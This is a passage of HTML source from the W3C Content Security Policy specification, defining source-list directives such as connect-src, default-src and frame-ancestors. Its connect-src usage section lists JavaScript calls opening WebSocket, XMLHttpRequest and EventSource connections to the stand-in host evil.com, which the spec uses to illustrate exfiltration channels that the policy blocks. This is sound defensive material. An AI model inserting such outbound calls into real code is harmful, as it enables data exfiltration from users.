\n\n    \n     <ul>\n      \n      \n      <li>Processing the <a href=\"http://www.w3.org/TR/XMLHttpRequest/#the-send()-method\"><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.\n      \n\n      \n      <li>Processing the <a href=\"http://dev.w3.org/html5/websockets/#websocket\"><code>WebSocket</code>\n      constructor</a>.\n      \n\n      \n      <li>Processing the <a href=\"http://dev.w3.org/html5/eventsource/#eventsource\"><code>EventSource</code>\n      constructor</a>.\n      \n\n      \n      <li>Pinging an endpoint during <a href=\"https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing\">hyperlink auditing</a>.\n      \n\n      \n      <li>Sending a beacon via the <a href=\"http://www.w3.org/TR/beacon/#sec-sendBeacon-method\"><code>sendBeacon()</code></a> method <a data-link-type=\"biblio\" href=\"#biblio-beacon\">[BEACON]</a>\n      \n    \n     </ul>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.3.1\" id=\"connect-src-usage\"><span class=\"secno\">7.3.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#connect-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      makes arbitrary HTTP requests on your behalf. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.</p>\n      \n\n\n      <p>The <code>connect-src</code> directive allows you to ensure that\n      these sorts of connections are only opened to origins you trust.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> example.com</pre>\n      \n\n\n      <p>All of the following will fail with the preceding directive in\n      place:</p>\n      \n\n      \n      <ul>\n        \n       <li><code>new WebSocket(\"wss://evil.com/\");</code>\n       \n        \n       <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code>\n       \n        \n       <li><code>new EventSource(\"https://evil.com\");</code>\n       \n      \n      </ul>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.4\" id=\"directive-default-src\"><span class=\"secno\">7.4. </span><span class=\"content\"><code>default-src</code></span><a class=\"self-link\" href=\"#directive-default-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default_src\">default-src<a class=\"self-link\" href=\"#default_src\"></a></dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"default-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>Let the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default-sources\">default sources<a class=\"self-link\" href=\"#default-sources\"></a></dfn> be the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>default-src</code>\n    directive’s value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise the U+002A ASTERISK\n    character (*).</p>\n     \n\n\n     <p>To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:</p>\n     \n\n    \n     <ul>\n      \n      <li><code><a data-link-type=\"dfn\" href=\"#child_src\">child-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#media_src\">media-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code>\n      \n    \n     </ul>\n     \n\n\n     <p>If not specified explicitly in the policy, the directives listed\n    above will use the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> as their source list.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.4.1\" id=\"default-src-usage\"><span class=\"secno\">7.4.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#default-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p><code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they’re not otherwise explicitly set. That is, consider\n      the following policy declaration:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n\n\n      <p>Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> example.com</pre>\n      \n\n\n      <p>Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There’s no inheritance; the\n      <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.</p>\n      \n\n\n      <p>Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you’d\n      like to protect. If you don’t use webfonts, for instance, there’s no\n      reason to specify a source list for <code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.5\" id=\"directive-font-src\"><span class=\"secno\">7.5. </span><span class=\"content\"><code>font-src</code></span><a class=\"self-link\" href=\"#directive-font-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"font_src\">font-src<a class=\"self-link\" href=\"#font_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"font-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-font-sources\">allowed font sources<a class=\"self-link\" href=\"#allowed-font-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>font-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-font-sources\">allowed font sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a font, such as when processing\n      the &lt;&lt;@font-face>> Cascading Style Sheets (CSS) rule.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.6\" id=\"directive-form-action\"><span class=\"secno\">7.6. </span><span class=\"content\"><code>form-action</code></span><a class=\"self-link\" href=\"#directive-form-action\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"form_action\">form-action<a class=\"self-link\" href=\"#form_action\"></a></dfn></code> restricts which URLs can be used as\n    the action of HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> elements. The syntax for the name and value of\n    the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"form-action\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-form-actions\">allowed form actions<a class=\"self-link\" href=\"#allowed-form-actions\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>form-action</code>\n    directive’s value as a source list</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of processing\n    an HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> element, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-form-actions\">allowed form actions</a> for\n    the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>form-action</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.7\" id=\"directive-frame-ancestors\"><span class=\"secno\">7.7. </span><span class=\"content\"><code>frame-ancestors</code></span><a class=\"self-link\" href=\"#directive-frame-ancestors\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_ancestors\">frame-ancestors<a class=\"self-link\" href=\"#frame_ancestors\"></a></dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code>,\n    <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, or equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing <a data-link-type=\"biblio\" href=\"#biblio-uiredress\">[UIREDRESS]</a> attacks by avoiding being embedded\n    into potentially hostile contexts.</p>\n     \n\n\n     <p>The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source_list\">ancestor-source-list<a class=\"self-link\" href=\"#ancestor_source_list\"></a></dfn> = [ <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> ) ] / \"'none'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source\">ancestor-source<a class=\"self-link\" href=\"#ancestor_source\"></a></dfn>      = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a>\n\ndirective-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=\"dfn\" href=\"#ancestor_source_list\">ancestor-source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-ancestors\">allowed frame ancestors<a class=\"self-link\" href=\"#allowed-frame-ancestors\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-ancestors</code>\n    directive’s value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n    ancestors</a> is \"<code>*</code>\".</p>\n     \n\n\n     <p>To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n    context</a>, the user agent MUST perform the following steps:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.\n      \n\n      \n      <li>Let <var>ancestorList</var> be the list of all\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context\">ancestors</a> of <var>nestedContext</var>.\n      \n\n      \n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        \n       <ol>\n          \n        <li>Let <var>document</var> be <var>ancestorContext</var>’s\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a>.\n        \n\n          \n        <li>If <var>document</var>’s URL does not\n          <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n          ancestors</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST:\n            \n         <ol>\n              \n          <li>Abort loading the protected resource.\n          \n\n              \n          <li>Take one of the following actions:\n\n                \n           <ol>\n                  \n            <li>\n                    Act as if it received an empty <a data-link-type=\"dfn\" href=\"#http-200-response\">HTTP 200 response</a>.\n                  \n            \n                  \n            <li>\n                    Redirect the user to a friendly error page which provides\n                    the option of opening the blocked page in a new <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#top-level-browsing-context\">top-level\n                    browsing context</a>.\n                  \n            \n                \n           </ol>\n           \n              \n          \n\n              \n          <li>\n                <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">Parse a sandboxing directive</a> using the\n                empty string as the <em>input</em> and the newly created\n                document’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a> as the\n                <em>output</em>.\n              \n          \n\n              \n          <li><a data-link-type=\"dfn\" href=\"#report-a-violation\">Report a violation</a>.\n          \n\n              \n          <li>Abort these steps.\n          \n            \n         </ol>\n         \n          \n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document’s load. If these steps are ignored,\n    leakage of a document’s policy state is possible.</p>\n     \n\n\n     <p>The <code>frame-ancestors</code> directive MUST be ignored\n    when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a> a policy, and when a contained in a\n    policy defined via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> does not fall back to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.</p>\n     \n\n\n     <p>When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.1\" id=\"frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1. </span><span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span><a class=\"self-link\" href=\"#frame-ancestors-and-frame-options\"></a></h4>\n      \n\n\n      <p>This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header’s <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document’s location. This\n      directive checks each ancestor. If any ancestor doesn’t match, the load\n      is cancelled. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n      \n\n\n      <p>The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.</p>\n      \n    \n     </section>\n     \n\n    \n     <section class=\"informative\" id=\"multiple-host-source-values\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.2\" id=\"frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2. </span><span class=\"content\">Multiple Host Source Values</span><a class=\"self-link\" href=\"#frame-ancestors-multiple-source-values\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.</p>\n      \n\n\n      <p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.</p>\n      \n\n\n      <p>Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://alice https://bob\n</pre>\n      \n\n\n      <p>would allow Bob to re-frame Alice’s resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each merchant, this attack would be eliminated.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.8\" id=\"directive-frame-src\"><span class=\"secno\">7.8. </span><span class=\"content\"><code>frame-src</code></span><a class=\"self-link\" href=\"#directive-frame-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_src\">frame-src<a class=\"self-link\" href=\"#frame_src\"></a></dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.</p>\n     \n\n\n     <p>The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"frame-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-sources\">allowed frame sources<a class=\"self-link\" href=\"#allowed-frame-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-sources\">allowed frame sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> in the\n      protected resource created by an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> or a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code> element.\n\n      \n      <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#navigate\">Navigated</a> such a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.9\" id=\"directive-img-src\"><span class=\"secno\">7.9. </span><span class=\"content\"><code>img-src</code></span><a class=\"self-link\" href=\"#directive-img-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"img_src\">img-src<a class=\"self-link\" href=\"#img_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"img-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-image-sources\">allowed image sources<a class=\"self-link\" href=\"#allowed-image-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>img-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-image-sources\">allowed image sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Requesting data for an image, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src\">src</a></code> or <code>srcset</code> attributes of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element, the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/forms.html#attr-input-src\">src</a></code> attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-input-element\">input</a></code> element with a type of\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/forms.html#attr-input-type-image-keyword\">image</a></code>, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-video-poster\">poster</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> element,\n      the <a data-link-type=\"functionish\" href=\"http://www.w3.org/TR/CSS21/syndata.html#uri\">url()</a>, <a data-link-type=\"functionish\" href=\"http://dev.w3.org/csswg/css-images-4/#funcdef-image\">image()</a> or <a data-link-type=\"functionish\" href=\"http://dev.w3.org/csswg/css-images-3/#funcdef-image-set\">image-set()</a> values on any\n      Cascading Style Sheets (CSS) property that is capable of loading an image\n      <a data-link-type=\"biblio\" href=\"#biblio-css4-images\">[CSS4-IMAGES]</a>, or the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> element\n      with an image-related <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a></code> attribute, such as <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/links.html#rel-icon\">icon</a></code>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.10\" id=\"directive-media-src\"><span class=\"secno\">7.10. </span><span class=\"content\"><code>media-src</code></span><a class=\"self-link\" href=\"#directive-media-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_src\">media-src<a class=\"self-link\" href=\"#media_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"media-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-media-sources\">allowed media sources<a class=\"self-link\" href=\"#allowed-media-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>media-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-media-sources\">allowed media sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a video or audio clip, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-media-src\">src</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, or\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code> element.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.11\" id=\"directive-object-src\"><span class=\"secno\">7.11. </span><span class=\"content\"><code>object-src</code></span><a class=\"self-link\" href=\"#directive-object-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"object_src\">object-src<a class=\"self-link\" href=\"#object_src\"></a></dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"object-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-object-sources\">allowed object sources<a class=\"self-link\" href=\"#allowed-object-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>object-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" 